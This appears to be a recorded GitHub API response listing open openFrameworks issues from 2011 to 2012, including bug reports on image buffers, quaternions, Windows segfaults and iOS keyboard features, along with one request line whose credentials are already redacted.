this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","comments":3,"milestone":null,"number":701,"html_url":"https://github.com/openframeworks/openFrameworks/issues/701","assignee":null,"title":"ofxOsc does not seem to work on 64bit Ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-08-06T19:14:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":1358688,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-05T03:06:25Z","body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","comments":0,"milestone":null,"number":700,"html_url":"https://github.com/openframeworks/openFrameworks/issues/700","assignee":null,"title":"ofBuffer with overloaded = operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-05T03:06:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1349012,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:28Z","body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":699,"html_url":"https://github.com/openframeworks/openFrameworks/issues/699","assignee":null,"title":"loadData() does not allocate as necessary","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-04T10:29:57Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1343463,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:12:03Z","body":"from: http://forum.openframeworks.cc/index.php/topic,6952.msg32509.html\r\n\r\n\r\n\r\ngetBmpFromPixels() crashed repeatedly when I tried to rescale grayscale Images of size 3026*2048.\r\n\r\nIt's because memcpy overshoots the src pixel array because dstStride can be larger than srcStride.\r\n\r\nIn ofImage.cpp \r\n\r\ngetBmpFromPixels()\r\n\r\naround line 119, I believe, it should read:\r\n\r\nCode:\r\nview plaincopy to clipboardprint?\r\n... \r\n int srcStride = width * pix.getBytesPerPixel(); \r\n int dstStride = FreeImage_GetPitch(bmp); \r\n unsigned char* src = (unsigned char*) pixels; \r\n unsigned char* dst = bmpBits; \r\n for(int i = 0; i < (int)height; i++) { \r\n // memcpy(dst, src, dstStride); \r\n memcpy(dst, src, srcStride); // did overshoot with e.g. grayscale img of size 3026*2048 \r\n src += srcStride; \r\n dst += dstStride; \r\n } \r\n... \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/698","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":698,"html_url":"https://github.com/openframeworks/openFrameworks/issues/698","assignee":null,"title":"getBmpFromPixels memcpy issue / ofImage::resize issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-03T18:15:55Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1339116,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:34:07Z","body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","comments":1,"milestone":null,"number":697,"html_url":"https://github.com/openframeworks/openFrameworks/issues/697","assignee":null,"title":"videoinput lib global statics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-03T02:27:52Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1334657,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T00:53:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/685","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":685,"html_url":"https://github.com/openframeworks/openFrameworks/issues/685","assignee":null,"title":"update shader example to work on ati.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-28T15:57:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1303812,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:40:42Z","body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","comments":0,"milestone":null,"number":684,"html_url":"https://github.com/openframeworks/openFrameworks/issues/684","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-07-28T12:12:52Z","state":"open","user":{"url":"https://api.github.com/users/mcanet","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","login":"mcanet","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308759},"id":1302375,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-24T18:26:54Z","body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","comments":0,"milestone":null,"number":679,"html_url":"https://github.com/openframeworks/openFrameworks/issues/679","assignee":null,"title":"possible bug in getEuler / getOrientation / getRoll","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-24T18:26:54Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":1278252,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:13:24Z","body":"I know that with the 007 release ofxDirList addon is deprecated and instead we are encouraged to use ofDirectory to achiece the same kind of functionality. In fact the are so similar that is possible to use them interchangeably. To do that transparently you changed the ofxDirList.h so that it made a typedef to point to ofDirectory (and will probably remove it completely someday).\r\n\r\nThe contents of ofxDirList.h are the following:\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#pragma once\r\n\r\n#include \"ofFileUtils.h\"\r\n\r\n#warning ofxDirList has been deprecated. \r\n#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\ntypedef ofDirectory ofxDirList;\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nSo far so good. The problem is that you use the #warning preprocessing directive is non-standard and unsupported on Visual C++ compiler. In fact it gives me an error while building a project that I ported from 0062 version that used ofxDirList. To make it work I had to comment the two #warning lines. \r\n\r\nI suggest that you remove the #warning directives and replace it with something else that works across all compilers. I know that the #warning directive works on GCC and MinGW but not on VC++ so if you are going to support all those compilers (like you do) you better have all of your code working across all of them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/676","comments":2,"milestone":null,"number":676,"html_url":"https://github.com/openframeworks/openFrameworks/issues/676","assignee":null,"title":"ofxDirList deprecated #warning directive preprocessor Visual Studio 2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-23T01:19:54Z","state":"open","user":{"url":"https://api.github.com/users/petersaints","gravatar_id":"03848790c2ebb8e5edbe130e8ce76f1d","login":"petersaints","avatar_url":"https://secure.gravatar.com/avatar/03848790c2ebb8e5edbe130e8ce76f1d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157810},"id":1273716,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T11:29:24Z","body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","comments":0,"milestone":null,"number":671,"html_url":"https://github.com/openframeworks/openFrameworks/issues/671","assignee":null,"title":"isFile() segfaults on win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T11:27:16Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1262459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T10:39:29Z","body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","comments":2,"milestone":null,"number":670,"html_url":"https://github.com/openframeworks/openFrameworks/issues/670","assignee":null,"title":"mouseReleased fires mouseMoved too (win7)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T09:34:52Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1261982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4935'), ('content-length', '45016'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c403779e3346f56dddb655b8bb57d5ae"'), ('date', 'Tue, 29 May 2012 19:27:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-09T06:11:12Z","body":"I'm curious why the movieplayer uses AvAsset instead of AvPlayer which seems better suited for OF needs ( seeking / looping etc ) \r\n\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html\r\n\r\nhttp://stackoverflow.com/questions/5361145/looping-a-video-with-avfoundation-avplayer\r\n\r\n\r\nI think you can get init a player with an AVAsset:\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html%23//apple_ref/occ/instm/AVPlayer/initWithPlayerItem:\r\nhttp://developer.apple.com/library/ios/documentation/AVFoundation/Reference/AVPlayerItem_Class/Reference/Reference.html#//apple_ref/occ/instm/AVPlayerItem/initWithAsset:\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/666","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":666,"html_url":"https://github.com/openframeworks/openFrameworks/issues/666","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iphone video player should use AVPlayer ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-20T20:01:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1258863,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-08T04:45:01Z","body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","comments":5,"milestone":null,"number":652,"html_url":"https://github.com/openframeworks/openFrameworks/issues/652","assignee":null,"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-15T18:49:46Z","state":"open","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484},"id":1231959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-20T19:04:31Z","body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","comments":4,"milestone":null,"number":651,"html_url":"https://github.com/openframeworks/openFrameworks/issues/651","assignee":null,"title":"ofFBO + ofCamera = unwanted offset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-07-15T13:21:44Z","state":"open","user":{"url":"https://api.github.com/users/toxin20","gravatar_id":"29a3b85e704ec06a72df8897a726920e","login":"toxin20","avatar_url":"https://secure.gravatar.com/avatar/29a3b85e704ec06a72df8897a726920e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":123776},"id":1230184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-19T00:31:38Z","body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","comments":1,"milestone":null,"number":646,"html_url":"https://github.com/openframeworks/openFrameworks/issues/646","assignee":null,"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-07-13T15:18:04Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1216274,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T16:05:23Z","body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","comments":0,"milestone":null,"number":645,"html_url":"https://github.com/openframeworks/openFrameworks/issues/645","assignee":null,"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T16:05:23Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1209436,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-16T04:21:18Z","body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem is\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","comments":1,"milestone":null,"number":643,"html_url":"https://github.com/openframeworks/openFrameworks/issues/643","assignee":null,"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-12T13:05:25Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":1208289,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:09Z","body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or 